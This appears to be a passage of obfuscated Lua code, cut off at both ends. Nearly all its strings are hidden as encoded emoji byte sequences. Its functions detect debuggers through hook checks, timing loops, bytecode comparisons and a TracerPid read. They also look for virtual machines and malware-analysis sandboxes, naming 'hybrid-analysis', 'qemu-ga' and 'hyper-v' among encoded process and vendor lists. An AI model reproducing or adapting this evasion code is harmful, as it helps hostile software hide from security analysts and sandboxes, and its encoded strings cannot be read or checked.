  return v3 ~= false, (__D("\240\159\144\172\240\159\140\186\240\159\144\161\240\159\144\160\240\159\140\136\240\159\140\180\240\159\144\161\240\159\144\161\240\159\144\160\240\159\144\160\240\159\144\154\240\159\144\160\240\159\166\136\240\159\144\153\240\159\166\128\240\159\166\136\240\159\144\162\240\159\140\186\240\159\144\172\240\159\144\139\240\159\166\128\240\159\140\186\240\159\144\172\240\159\140\136\240\159\144\160\240\159\144\153\240\159\166\128\240\159\144\154\240\159\165\165\240\159\144\172\240\159\144\172\240\159\165\165\240\159\140\138\240\159\144\179\240\159\144\179\240\159\144\154\240\159\165\165\240\159\166\128\240\159\144\154\240\159\140\138", __K))
end
va.fp = v0
local v6 = function()
end
local function v7()
  if type(debug) ~= __D("\240\159\140\186\240\159\140\139\240\159\144\161\240\159\144\172\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\179\240\159\144\179", __K) or not debug.sethook then
    return false
  end
  debug.sethook(v6, __D("\240\159\144\172\240\159\144\172", __K), 0)
  return true
end
va.fq = v7
local function v8()
  if type(debug) ~= __D("\240\159\140\186\240\159\140\139\240\159\144\161\240\159\144\172\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\179\240\159\144\179", __K) or not debug.gethook then
    return false, nil, nil
  end
  local v9, v10, v11 = debug.gethook()
  return v9 ~= nil, v10, v11
end
va.fr = v8
local function v12()
  if type(debug) ~= __D("\240\159\140\186\240\159\140\139\240\159\144\161\240\159\144\172\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\179\240\159\144\179", __K) or not debug.gethook then
    return false
  end
  local v13 = debug.gethook()
  return v13 == v6
end
va.fs = v12
local function v14(v15, v16)
  local v15 = v15 or va.fa.fb
  local v16 = v16 or va.fa.fc
  local v17 = vw()
  local v18 = 0
  for v19 = 1, v16 do
    v18 = v18 + v19
  end
  local v20 = vw() - v17
  return v15 < v20, v20
end
va.ft = v14
local v21 = function(v22)
  local v23, v24 = pcall(string.dump, v22, true)
  if v23 then
    return v24
  end
  v23, v24 = pcall(string.dump, v22)
  return v23 and v24 or nil
end
local function v25(v26, v27)
  local v28 = v21(v26)
  return v28 ~= nil and v28 == v27
end
va.fu = v21
va.fv = v25
local v29 = {
  __D("\240\159\144\172\240\159\140\186\240\159\144\161\240\159\140\180\240\159\144\162\240\159\140\139\240\159\144\161\240\159\140\138\240\159\144\179\240\159\144\179\240\159\144\154\240\159\166\136\240\159\144\161\240\159\144\162\240\159\166\128\240\159\144\153", __K),
  __D("\240\159\144\172\240\159\144\172\240\159\144\161\240\159\144\154\240\159\144\162\240\159\140\180\240\159\144\161\240\159\165\165\240\159\144\179\240\159\165\165\240\159\144\153\240\159\144\172\240\159\166\136\240\159\144\139\240\159\166\128\240\159\144\153\240\159\144\162\240\159\140\186\240\159\144\179\240\159\144\162", __K),
  __D("\240\159\144\172\240\159\140\139\240\159\144\161\240\159\144\160\240\159\144\162\240\159\140\139\240\159\166\136\240\159\165\165\240\159\144\179\240\159\166\136\240\159\144\154\240\159\165\165\240\159\166\136\240\159\144\162\240\159\140\180\240\159\144\139", __K),
  __D("\240\159\140\186\240\159\140\136\240\159\166\136\240\159\165\165\240\159\144\162\240\159\144\139\240\159\144\161\240\159\140\139\240\159\144\179\240\159\144\160\240\159\144\154\240\159\144\172\240\159\140\138\240\159\140\138\240\159\166\128\240\159\166\128\240\159\144\162\240\159\140\186\240\159\144\160\240\159\144\162\240\159\166\128\240\159\166\136\240\159\144\172\240\159\140\139\240\159\144\179\240\159\166\128\240\159\144\162\240\159\140\139\240\159\165\165\240\159\140\138", __K),
  (__D("\240\159\140\186\240\159\140\136\240\159\166\136\240\159\165\165\240\159\144\162\240\159\144\139\240\159\144\161\240\159\140\139\240\159\144\179\240\159\144\160\240\159\144\154\240\159\144\172\240\159\140\138\240\159\144\172\240\159\166\128\240\159\166\136\240\159\140\136\240\159\140\186\240\159\144\160\240\159\140\139\240\159\140\180\240\159\140\180\240\159\140\186\240\159\144\153", __K))
}
local function v30()
  for v31, v32 in ipairs(v29) do
    if package.loaded[v32] then
      return v32
    end
    local v33 = pcall(require, v32)
    if v33 then
      return v32
    end
  end
  return nil
end
va.fw = v30
local function v34()
  local v35 = io.open(__D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\140\186\240\159\140\136\240\159\140\139\240\159\144\161\240\159\140\139\240\159\144\179\240\159\140\138\240\159\144\139\240\159\140\136\240\159\144\161\240\159\144\154\240\159\166\128\240\159\140\180\240\159\144\162\240\159\140\139\240\159\144\160\240\159\166\128\240\159\140\136\240\159\144\154\240\159\140\186\240\159\144\153\240\159\144\160\240\159\144\153\240\159\144\162\240\159\144\153\240\159\140\138\240\159\165\165\240\159\140\186\240\159\144\161\240\159\165\165\240\159\166\128", __K), (__D("\240\159\140\186\240\159\140\180", __K)))
  if not v35 then
    return false
  end
  local v36 = v35:read((__D("\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\172", __K)))
  v35:close()
  local v37 = v36 and v36:match("TracerPid:%s*(%d+)")
  return v37 and tonumber(v37) > 0 or false
end
va.fx = v34
local v38 = {
  __D("\240\159\144\172\240\159\144\162\240\159\144\161\240\159\144\179\240\159\144\162\240\159\140\139", __K),
  __D("\240\159\144\172\240\159\144\172\240\159\144\161\240\159\144\154\240\159\144\162\240\159\140\180\240\159\144\161\240\159\144\179", __K),
  __D("\240\159\144\172\240\159\144\179\240\159\144\161\240\159\144\179\240\159\144\162\240\159\144\162", __K),
  __D("\240\159\144\172\240\159\144\179\240\159\144\161\240\159\144\179\240\159\144\162\240\159\144\162\240\159\140\138\240\159\140\186\240\159\144\172\240\159\144\160", __K),
  __D("\240\159\144\172\240\159\144\179\240\159\144\161\240\159\144\179\240\159\144\162\240\159\144\162\240\159\144\161\240\159\144\172", __K),
  __D("\240\159\144\172\240\159\144\179\240\159\144\161\240\159\144\179\240\159\144\162\240\159\144\162\240\159\144\161\240\159\144\172\240\159\144\172\240\159\144\161\240\159\140\139\240\159\140\186", __K),
  __D("\240\159\140\186\240\159\144\160\240\159\140\138\240\159\166\136\240\159\140\180\240\159\140\180\240\159\144\161\240\159\140\138\240\159\144\179\240\159\165\165\240\159\144\154\240\159\165\165", __K),
  __D("\240\159\140\186\240\159\144\160\240\159\140\138\240\159\165\165\240\159\140\180\240\159\140\139\240\159\144\161\240\159\140\138\240\159\144\179\240\159\165\165\240\159\144\154\240\159\165\165", __K),
  __D("\240\159\144\172\240\159\140\138\240\159\144\161\240\159\144\154\240\159\144\162\240\159\144\161\240\159\166\136\240\159\140\180\240\159\144\179\240\159\144\160\240\159\144\154\240\159\166\136\240\159\166\136\240\159\144\139", __K),
  __D("\240\159\144\172\240\159\140\139\240\159\144\161\240\159\166\128\240\159\140\136\240\159\144\139\240\159\166\136\240\159\166\136\240\159\144\160\240\159\144\139", __K),
  __D("\240\159\144\172\240\159\144\162\240\159\144\161\240\159\144\139\240\159\144\162\240\159\140\138\240\159\144\161\240\159\140\138\240\159\144\160\240\159\165\165\240\159\144\154\240\159\144\160", __K),
  __D("\240\159\140\186\240\159\140\180\240\159\144\161\240\159\144\172\240\159\144\162\240\159\140\180\240\159\144\161\240\159\144\161\240\159\144\160\240\159\165\165\240\159\144\154\240\159\144\172", __K),
  __D("\240\159\140\186\240\159\140\180\240\159\140\138\240\159\140\138", __K),
  __D("\240\159\144\172\240\159\144\160\240\159\144\161\240\159\140\180\240\159\140\136\240\159\140\136\240\159\166\136\240\159\166\136\240\159\144\179\240\159\144\179\240\159\144\153\240\159\166\136", __K),
  __D("\240\159\140\186\240\159\144\162\240\159\144\161\240\159\140\139\240\159\144\162\240\159\144\160\240\159\144\161\240\159\140\138\240\159\144\179\240\159\165\165\240\159\144\154\240\159\165\165", __K),
  __D("\240\159\144\172\240\159\144\179\240\159\144\161\240\159\144\153\240\159\144\162\240\159\166\136\240\159\166\136\240\159\165\165\240\159\144\179\240\159\140\180\240\159\144\154\240\159\144\153\240\159\144\161\240\159\140\136\240\159\140\180\240\159\165\165\240\159\144\162\240\159\144\172\240\159\144\160\240\159\144\153\240\159\140\180\240\159\144\172\240\159\140\186\240\159\140\136\240\159\144\179\240\159\166\128\240\159\144\162\240\159\140\136\240\159\165\165\240\159\140\138\240\159\140\186\240\159\140\186", __K),
  __D("\240\159\144\172\240\159\166\128\240\159\144\161\240\159\144\139\240\159\144\162\240\159\166\128\240\159\144\161\240\159\144\161\240\159\144\160\240\159\144\160\240\159\144\154\240\159\144\172\240\159\166\136\240\159\144\172\240\159\166\128\240\159\144\153\240\159\144\162\240\159\144\154\240\159\144\160\240\159\166\136\240\159\140\180\240\159\166\136", __K),
  __D("\240\159\144\172\240\159\140\136\240\159\166\136\240\159\140\138\240\159\144\162\240\159\140\138\240\159\144\161\240\159\140\138\240\159\144\179\240\159\140\186", __K),
  __D("\240\159\144\172\240\159\140\136\240\159\166\136\240\159\140\138\240\159\144\162\240\159\140\138\240\159\144\161\240\159\140\138\240\159\144\179\240\159\140\186\240\159\144\139\240\159\140\139\240\159\144\161\240\159\144\154\240\159\166\128\240\159\140\180\240\159\140\136\240\159\144\161\240\159\144\179\240\159\166\128\240\159\140\180\240\159\166\136\240\159\140\186\240\159\144\154", __K),
  __D("\240\159\140\186\240\159\166\128\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\161\240\159\144\179\240\159\140\138\240\159\144\154\240\159\144\172", __K),
  __D("\240\159\144\172\240\159\144\172\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\161\240\159\144\179\240\159\140\138\240\159\144\154\240\159\144\172", __K),
  __D("\240\159\140\186\240\159\166\128\240\159\166\136\240\159\140\139\240\159\140\136\240\159\144\139\240\159\144\161\240\159\140\138\240\159\144\179\240\159\144\139\240\159\144\154\240\159\165\165", __K),
  __D("\240\159\140\186\240\159\144\153\240\159\166\136\240\159\140\138\240\159\144\162\240\159\144\179\240\159\144\161\240\159\144\160\240\159\144\179\240\159\144\154\240\159\144\154\240\159\140\136\240\159\166\136\240\159\144\172", __K),
  __D("\240\159\140\186\240\159\144\153\240\159\166\136\240\159\140\138\240\159\144\162\240\159\144\179\240\159\144\161\240\159\144\160\240\159\144\179\240\159\144\179\240\159\144\153\240\159\144\154\240\159\144\161\240\159\140\180", __K),
  __D("\240\159\140\186\240\159\144\162\240\159\144\161\240\159\140\139\240\159\140\136\240\159\140\139\240\159\144\161\240\159\165\165\240\159\144\160\240\159\140\138\240\159\144\154\240\159\144\154\240\159\166\136\240\159\166\128\240\159\140\180\240\159\144\139\240\159\144\162\240\159\166\128", __K),
  __D("\240\159\144\172\240\159\140\136\240\159\144\161\240\159\140\139\240\159\144\162\240\159\140\180\240\159\144\161\240\159\140\138\240\159\144\179\240\159\144\153\240\159\144\154\240\159\144\172\240\159\144\161\240\159\144\153", __K),
  __D("\240\159\140\186\240\159\140\139\240\159\144\161\240\159\165\165\240\159\140\136\240\159\140\136\240\159\144\161\240\159\140\138\240\159\144\160\240\159\144\179\240\159\144\154\240\159\140\139\240\159\144\161\240\159\140\180", __K),
  __D("\240\159\144\172\240\159\140\136\240\159\144\161\240\159\140\139\240\159\144\162\240\159\144\161\240\159\144\161\240\159\165\165\240\159\144\179\240\159\144\154\240\159\144\154\240\159\140\136\240\159\166\136\240\159\144\172", __K),
  __D("\240\159\140\186\240\159\140\180\240\159\144\161\240\159\144\160\240\159\144\162\240\159\144\154\240\159\144\161\240\159\140\136\240\159\144\179\240\159\166\128\240\159\144\154\240\159\144\162", __K),
  __D("\240\159\144\172\240\159\144\154\240\159\166\136\240\159\140\186\240\159\144\162\240\159\140\138\240\159\144\161\240\159\140\136\240\159\144\179\240\159\166\128\240\159\144\154\240\159\144\162\240\159\166\136\240\159\166\136\240\159\140\180\240\159\166\128\240\159\144\162\240\159\144\162\240\159\144\179\240\159\144\162", __K),
  __D("\240\159\144\172\240\159\144\161\240\159\144\161\240\159\140\180\240\159\144\162\240\159\166\128\240\159\166\136\240\159\144\160\240\159\144\179\240\159\140\186\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\139\240\159\144\162\240\159\144\162\240\159\144\179\240\159\140\186", __K),
  __D("\240\159\144\172\240\159\144\161\240\159\144\161\240\159\140\180\240\159\144\162\240\159\166\128\240\159\144\161\240\159\144\179\240\159\144\179\240\159\166\128\240\159\144\153\240\159\144\154", __K),
  __D("\240\159\144\172\240\159\166\128\240\159\166\136\240\159\144\160\240\159\144\162\240\159\144\139\240\159\144\161\240\159\144\153\240\159\144\179\240\159\166\128\240\159\144\154\240\159\140\136", __K),
  __D("\240\159\144\172\240\159\166\128\240\159\144\161\240\159\144\172\240\159\140\136\240\159\140\136\240\159\144\161\240\159\165\165", __K),
  __D("\240\159\144\172\240\159\144\154\240\159\144\161\240\159\166\128\240\159\140\136\240\159\140\138\240\159\166\136\240\159\144\179\240\159\144\160\240\159\144\179\240\159\144\154\240\159\144\162", __K),
  __D("\240\159\144\172\240\159\144\154\240\159\144\161\240\159\166\128\240\159\140\136\240\159\140\138\240\159\165\165\240\159\144\139\240\159\144\160\240\159\165\165\240\159\144\153\240\159\144\172\240\159\166\136\240\159\144\172", __K),
  __D("\240\159\140\186\240\159\140\139\240\159\144\161\240\159\144\139\240\159\140\136\240\159\140\139\240\159\144\161\240\159\165\165\240\159\144\179\240\159\140\186\240\159\144\153\240\159\140\186\240\159\166\136\240\159\144\139\240\159\140\180\240\159\144\139\240\159\144\162\240\159\144\154\240\159\144\160\240\159\144\154", __K),
  __D("\240\159\144\172\240\159\140\136\240\159\144\161\240\159\144\172\240\159\144\162\240\159\144\161\240\159\144\161\240\159\144\160\240\159\144\179\240\159\166\128\240\159\144\154\240\159\144\162\240\159\144\161\240\159\144\154\240\159\166\128\240\159\140\136\240\159\144\162\240\159\140\136\240\159\144\160\240\159\144\154\240\159\140\180\240\159\144\172\240\159\144\172\240\159\144\172\240\159\144\160\240\159\144\172", __K),
  "hybrid%-analysis",
  __D("\240\159\140\186\240\159\140\139\240\159\166\136\240\159\140\138\240\159\144\162\240\159\140\138\240\159\144\161\240\159\144\161\240\159\144\179\240\159\166\136\240\159\144\154\240\159\144\172", __K),
  __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\140\138\240\159\144\162\240\159\144\179\240\159\166\136\240\159\166\128\240\159\144\160\240\159\140\138\240\159\144\154\240\159\144\172\240\159\144\161\240\159\144\153\240\159\140\180\240\159\144\154\240\159\144\162\240\159\144\154\240\159\144\160\240\159\140\136\240\159\140\180\240\159\166\136", __K),
  __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\140\138\240\159\144\162\240\159\144\179\240\159\166\136\240\159\166\128\240\159\144\160\240\159\144\160\240\159\144\153\240\159\166\136\240\159\166\136\240\159\166\128\240\159\140\180\240\159\165\165", __K),
  __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\144\153\240\159\140\136\240\159\140\180\240\159\144\161\240\159\140\139\240\159\144\179\240\159\166\128\240\159\144\154\240\159\144\139\240\159\144\161\240\159\144\154\240\159\166\128\240\159\166\128", __K),
  __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\144\153\240\159\140\136\240\159\144\139\240\159\166\136\240\159\144\179\240\159\144\160\240\159\144\161\240\159\144\154\240\159\144\161", __K),
  __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\144\161\240\159\144\162\240\159\144\162\240\159\166\136\240\159\165\165\240\159\144\160\240\159\144\160\240\159\144\154\240\159\144\154\240\159\144\161\240\159\144\154\240\159\166\128\240\159\140\180\240\159\140\136\240\159\144\161\240\159\144\179\240\159\166\128\240\159\140\180\240\159\144\162\240\159\144\172\240\159\144\153\240\159\144\179\240\159\144\154", __K),
  __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\144\153\240\159\140\136\240\159\144\154\240\159\144\161\240\159\144\161\240\159\144\160\240\159\165\165\240\159\144\154\240\159\144\172\240\159\144\161\240\159\140\136\240\159\140\180\240\159\144\139\240\159\144\162\240\159\144\179\240\159\144\179\240\159\144\172", __K),
  "qemu%-ga"
}
local function v39()
  local v40 = __D("", __K)
  if vb then
    v40 = vi((__D("\240\159\140\186\240\159\140\139\240\159\144\161\240\159\144\172\240\159\140\136\240\159\144\139\240\159\144\161\240\159\144\153\240\159\144\179\240\159\144\153\240\159\144\154\240\159\144\153\240\159\144\161\240\159\144\154\240\159\140\180\240\159\166\128\240\159\166\128\240\159\144\160\240\159\144\172\240\159\144\161\240\159\166\128\240\159\144\160\240\159\144\160\240\159\166\128\240\159\144\172\240\159\140\136\240\159\140\180\240\159\140\138\240\159\144\161\240\159\144\161\240\159\165\165\240\159\144\154\240\159\144\172\240\159\144\139\240\159\166\136\240\159\144\154", __K)))
    if #v40 == 0 then
      v40 = vi((__D("\240\159\140\186\240\159\144\162\240\159\144\161\240\159\144\153\240\159\144\162\240\159\140\138\240\159\144\161\240\159\144\160\240\159\140\186\240\159\144\172\240\159\144\153\240\159\144\179\240\159\144\161\240\159\144\153\240\159\166\128\240\159\144\160\240\159\144\162\240\159\166\136\240\159\144\160\240\159\144\153\240\159\166\128\240\159\140\186\240\159\140\186\240\159\144\153\240\159\140\186\240\159\140\139\240\159\144\162\240\159\140\136\240\159\165\165\240\159\140\138\240\159\140\186\240\159\166\136\240\159\166\136\240\159\144\153\240\159\166\136\240\159\165\165\240\159\165\165\240\159\144\162\240\159\144\153\240\159\166\136\240\159\144\179\240\159\144\160\240\159\144\172\240\159\144\153\240\159\140\180\240\159\140\186\240\159\140\136\240\159\144\179\240\159\140\180\240\159\140\139\240\159\144\139\240\159\140\136\240\159\140\186\240\159\144\154\240\159\166\128\240\159\165\165\240\159\144\160\240\159\144\179\240\159\140\180\240\159\144\153\240\159\144\179\240\159\140\139\240\159\166\128\240\159\166\136\240\159\144\172\240\159\144\172\240\159\140\139\240\159\140\139\240\159\144\179\240\159\144\160\240\159\140\139\240\159\165\165\240\159\140\138\240\159\144\172\240\159\165\165\240\159\166\136\240\159\144\160\240\159\144\172\240\159\144\179\240\159\144\162\240\159\166\136\240\159\140\136\240\159\144\154\240\159\144\153\240\159\140\136\240\159\140\180", __K)))
    end
  else
    v40 = vi((__D("\240\159\140\186\240\159\144\153\240\159\166\136\240\159\165\165\240\159\166\128\240\159\140\136\240\159\144\161\240\159\144\161\240\159\144\160\240\159\140\139\240\159\144\139\240\159\144\179\240\159\140\138\240\159\140\138\240\159\166\128\240\159\144\160\240\159\166\128\240\159\144\160\240\159\144\160\240\159\140\136\240\159\140\180\240\159\144\154\240\159\144\172\240\159\165\165\240\159\144\179\240\159\144\179\240\159\140\180\240\159\144\172\240\159\144\161\240\159\144\161\240\159\144\160\240\159\140\180\240\159\140\138\240\159\140\138\240\159\140\186\240\159\140\186\240\159\165\165\240\159\144\162\240\159\144\153\240\159\144\179\240\159\144\160\240\159\166\136\240\159\140\186\240\159\144\161\240\159\144\162\240\159\140\138\240\159\140\180\240\159\144\162\240\159\166\128\240\159\144\161\240\159\140\180\240\159\166\136\240\159\144\179\240\159\144\154\240\159\166\128\240\159\144\162\240\159\144\160\240\159\144\154\240\159\166\128\240\159\144\162\240\159\140\186\240\159\144\139\240\159\166\128\240\159\144\154\240\159\140\138\240\159\144\139\240\159\140\139\240\159\144\154\240\159\144\179\240\159\144\161", __K)))
  end
  v40 = vc(v40)
  for v41, v42 in ipairs(v38) do
    if v40:find(v42, 1, true) then
      return v42
    end
  end
  return nil
end
va.fy = v39
local v43 = {
  __D("\240\159\165\165\240\159\144\172\240\159\144\160\240\159\144\179\240\159\140\139\240\159\144\179\240\159\144\179\240\159\166\136\240\159\144\161\240\159\165\165\240\159\166\128\240\159\144\172\240\159\144\179\240\159\165\165\240\159\144\154\240\159\144\160\240\159\144\139\240\159\144\179\240\159\144\161\240\159\144\154", __K),
  __D("\240\159\165\165\240\159\144\172\240\159\144\160\240\159\144\179\240\159\140\139\240\159\144\179\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\179\240\159\166\128\240\159\140\186\240\159\144\179\240\159\166\136\240\159\144\153\240\159\166\128", __K),
  __D("\240\159\165\165\240\159\144\172\240\159\144\160\240\159\144\179\240\159\140\139\240\159\144\179\240\159\144\160\240\159\144\162\240\159\166\136\240\159\144\139\240\159\166\128\240\159\166\136\240\159\144\160\240\159\144\153\240\159\144\154\240\159\140\136\240\159\140\139\240\159\144\161\240\159\166\136\240\159\144\172\240\159\144\154\240\159\144\154\240\159\140\138\240\159\166\128\240\159\166\136\240\159\144\139\240\159\140\139\240\159\144\139\240\159\144\172\240\159\140\180", __K),
  __D("\240\159\165\165\240\159\140\139\240\159\144\179\240\159\140\139\240\159\144\139\240\159\144\161\240\159\144\160\240\159\140\138\240\159\144\161\240\159\166\128\240\159\166\128\240\159\144\153\240\159\144\179\240\159\144\172\240\159\144\153\240\159\140\139\240\159\144\139\240\159\140\186\240\159\166\136\240\159\144\162\240\159\144\154\240\159\144\161\240\159\140\138\240\159\144\172\240\159\166\136\240\159\144\160\240\159\144\139\240\159\144\160\240\159\144\172\240\159\144\160\240\159\140\138\240\159\140\186\240\159\140\186\240\159\144\154\240\159\144\161\240\159\140\138\240\159\144\172\240\159\140\138\240\159\166\128\240\159\165\165\240\159\166\136\240\159\140\138", __K),
  __D("\240\159\165\165\240\159\140\139\240\159\144\179\240\159\140\139\240\159\144\139\240\159\144\161\240\159\144\160\240\159\140\138\240\159\144\161\240\159\166\128\240\159\166\128\240\159\140\138\240\159\144\179\240\159\140\186\240\159\144\153\240\159\144\139\240\159\144\139\240\159\166\136\240\159\144\161\240\159\144\153\240\159\144\154\240\159\144\154\240\159\165\165\240\159\144\139\240\159\166\136\240\159\144\160\240\159\144\139\240\159\144\153\240\159\140\186\240\159\165\165\240\159\140\138\240\159\144\153\240\159\140\186\240\159\165\165\240\159\166\136\240\159\144\172\240\159\144\172\240\159\166\136\240\159\166\128\240\159\165\165\240\159\166\136\240\159\140\138\240\159\140\138\240\159\144\179\240\159\144\153\240\159\166\128\240\159\140\139\240\159\140\139\240\159\140\139\240\159\140\186", __K),
  __D("\240\159\165\165\240\159\140\136\240\159\144\179\240\159\140\138\240\159\144\139\240\159\140\138\240\159\144\160\240\159\140\138\240\159\166\136\240\159\140\186", __K),
  __D("\240\159\165\165\240\159\140\136\240\159\144\179\240\159\140\138\240\159\144\139\240\159\140\138\240\159\144\160\240\159\140\138\240\159\166\136\240\159\140\186\240\159\140\180\240\159\140\136\240\159\144\160\240\159\144\154\240\159\144\154\240\159\140\139\240\159\140\139\240\159\144\161\240\159\144\161\240\159\144\172\240\159\144\154\240\159\165\165\240\159\140\138\240\159\144\162", __K),
  __D("\240\159\140\138\240\159\144\153\240\159\144\160\240\159\140\139\240\159\144\139\240\159\144\160\240\159\144\179\240\159\140\139\240\159\144\161\240\159\144\160\240\159\166\128\240\159\140\136\240\159\144\179\240\159\140\186\240\159\144\154\240\159\166\136", __K),
  (__D("\240\159\165\165\240\159\144\172\240\159\144\179\240\159\144\160\240\159\144\139\240\159\144\162\240\159\144\179\240\159\140\139\240\159\166\136\240\159\144\160\240\159\166\128\240\159\144\172\240\159\144\179\240\159\144\153\240\159\144\153\240\159\140\180\240\159\144\139\240\159\140\138", __K))
}
local function v44()
  for v45, v46 in ipairs(v43) do
    local v47 = vu(v46)
    if v47 and #v47 > 0 then
      return v46, v47
    end
  end
  return nil
end
va.fz = v44
local v48 = {
  __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\144\153\240\159\140\136\240\159\144\154\240\159\144\161\240\159\144\161\240\159\144\160\240\159\165\165\240\159\144\154\240\159\144\172", __K),
  __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\140\139\240\159\140\136\240\159\140\139\240\159\166\136\240\159\140\138\240\159\144\160\240\159\144\179\240\159\144\154\240\159\144\160\240\159\166\136\240\159\165\165\240\159\166\128\240\159\144\139\240\159\144\162\240\159\144\162\240\159\144\179\240\159\140\186", __K),
  __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\140\138\240\159\144\162\240\159\144\179\240\159\166\136\240\159\166\128", __K),
  __D("\240\159\144\172\240\159\140\186\240\159\144\161\240\159\140\139\240\159\144\162\240\159\144\139\240\159\166\136\240\159\144\179\240\159\144\179\240\159\166\128\240\159\144\153\240\159\144\161\240\159\166\136\240\159\140\186\240\159\166\128\240\159\144\154\240\159\140\136\240\159\144\172\240\159\144\172\240\159\144\139\240\159\140\180\240\159\140\186\240\159\144\172\240\159\144\172\240\159\144\160\240\159\140\136\240\159\140\136\240\159\144\154\240\159\165\165\240\159\144\139\240\159\140\186\240\159\140\186\240\159\140\138\240\159\144\154\240\159\144\160\240\159\144\179\240\159\165\165\240\159\140\138\240\159\144\154\240\159\140\139\240\159\144\160\240\159\140\180", __K),
  "hyper%-v",
  __D("\240\159\140\186\240\159\144\154\240\159\144\161\240\159\144\160\240\159\144\162\240\159\166\136\240\159\166\136\240\159\165\165", __K),
  __D("\240\159\144\172\240\159\166\136\240\159\166\136\240\159\166\136\240\159\144\162\240\159\166\136", __K),
  __D("\240\159\140\186\240\159\144\153\240\159\144\161\240\159\144\172\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\161\240\159\144\179\240\159\144\153\240\159\144\154\240\159\144\139\240\159\166\136\240\159\144\162\240\159\166\128\240\159\166\136\240\159\140\136\240\159\166\136", __K),
  __D("\240\159\140\186\240\159\144\160\240\159\144\161\240\159\144\160\240\159\144\162\240\159\144\160", __K),
  __D("\240\159\144\172\240\159\144\179\240\159\144\161\240\159\166\128\240\159\144\162\240\159\144\160\240\159\144\161\240\159\140\139\240\159\144\160\240\159\144\160\240\159\144\154\240\159\144\172\240\159\166\136\240\159\144\179", __K),
  (__D("\240\159\144\172\240\159\140\180\240\159\144\161\240\159\140\180\240\159\144\162\240\159\144\139\240\159\144\161\240\159\166\128\240\159\144\160\240\159\140\138", __K))
}
local function v49()
  local v50 = {}
  if vb then
    local v51 = vc(vi((__D("\240\159\140\186\240\159\144\162\240\159\144\161\240\159\144\153\240\159\144\162\240\159\140\138\240\159\144\161\240\159\144\160\240\159\140\186\240\159\144\172\240\159\144\154\240\159\144\161\240\159\166\136\240\159\140\186\240\159\166\128\240\159\144\161\240\159\140\136\240\159\144\160\240\159\144\179\240\159\144\153\240\159\166\128\240\159\144\161\240\159\144\172\240\159\140\136\240\159\144\160\240\159\140\136\240\159\140\136\240\159\140\180\240\159\140\138\240\159\166\128\240\159\140\186\240\159\144\172\240\159\165\165\240\159\140\139\240\159\144\179\240\159\144\160\240\159\165\165\240\159\166\136\240\159\144\139\240\159\166\136\240\159\144\160\240\159\166\136\240\159\144\172\240\159\144\172\240\159\166\128\240\159\140\136\240\159\140\180\240\159\144\162\240\159\140\136\240\159\144\139\240\159\144\162\240\159\140\139\240\159\140\186\240\159\144\153\240\159\140\180\240\159\140\136\240\159\144\160\240\159\140\180\240\159\140\180\240\159\144\153\240\159\144\179\240\159\144\179\240\159\140\180\240\159\166\136\240\159\140\138\240\159\144\139\240\159\144\139\240\159\140\138\240\159\144\179\240\159\166\128\240\159\144\139\240\159\144\179\240\159\140\138\240\159\144\153\240\159\166\136\240\159\140\139\240\159\140\186\240\159\140\186\240\159\140\186\240\159\166\128\240\159\144\179\240\159\140\186\240\159\140\180\240\159\144\179\240\159\144\153\240\159\165\165\240\159\166\128\240\159\144\154\240\159\165\165\240\159\144\161\240\159\144\139\240\159\144\154\240\159\140\180\240\159\140\139\240\159\144\139\240\159\144\161\240\159\166\128\240\159\144\172", __K))))
    local v52 = vc(vi((__D("\240\159\140\186\240\159\166\128\240\159\166\136\240\159\140\139\240\159\140\136\240\159\144\139\240\159\166\136\240\159\140\138\240\159\144\179\240\159\144\179\240\159\144\154\240\159\140\139\240\159\166\136\240\159\166\136\240\159\166\128\240\159\144\179\240\159\144\162\240\159\165\165\240\159\144\160\240\159\144\161\240\159\140\136\240\159\165\165\240\159\144\179\240\159\144\154\240\159\144\172\240\159\144\161\240\159\166\128\240\159\144\154\240\159\144\172\240\159\140\139\240\159\140\138\240\159\144\161\240\159\140\186\240\159\144\172", __K))))
    if #v51 > 0 then
      vx(v50, v51)
    end
    if #v52 > 0 then
      vx(v50, v52)
    end
  else
    for v53, v54 in ipairs({
      __D("\240\159\144\160\240\159\140\138\240\159\166\136\240\159\165\165\240\159\140\136\240\159\140\138\240\159\166\136\240\159\144\160\240\159\140\186\240\159\166\128\240\159\144\154\240\159\144\161\240\159\166\136\240\159\165\165\240\159\166\128\240\159\140\136\240\159\140\136\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\136\240\159\144\154\240\159\144\172\240\159\144\162\240\159\144\179\240\159\144\179\240\159\144\162\240\159\144\160\240\159\144\161\240\159\144\139\240\159\144\172\240\159\140\136\240\159\140\138\240\159\140\139\240\159\140\186\240\159\140\180\240\159\140\138\240\159\140\136\240\159\144\153\240\159\144\179\240\159\144\160\240\159\166\128\240\159\144\172\240\159\140\186\240\159\166\128\240\159\144\162\240\159\140\136\240\159\140\139\240\159\144\162\240\159\144\172\240\159\140\139\240\159\144\161\240\159\140\186\240\159\144\153\240\159\166\128\240\159\140\180\240\159\144\160\240\159\144\179\240\159\140\180\240\159\140\139", __K),
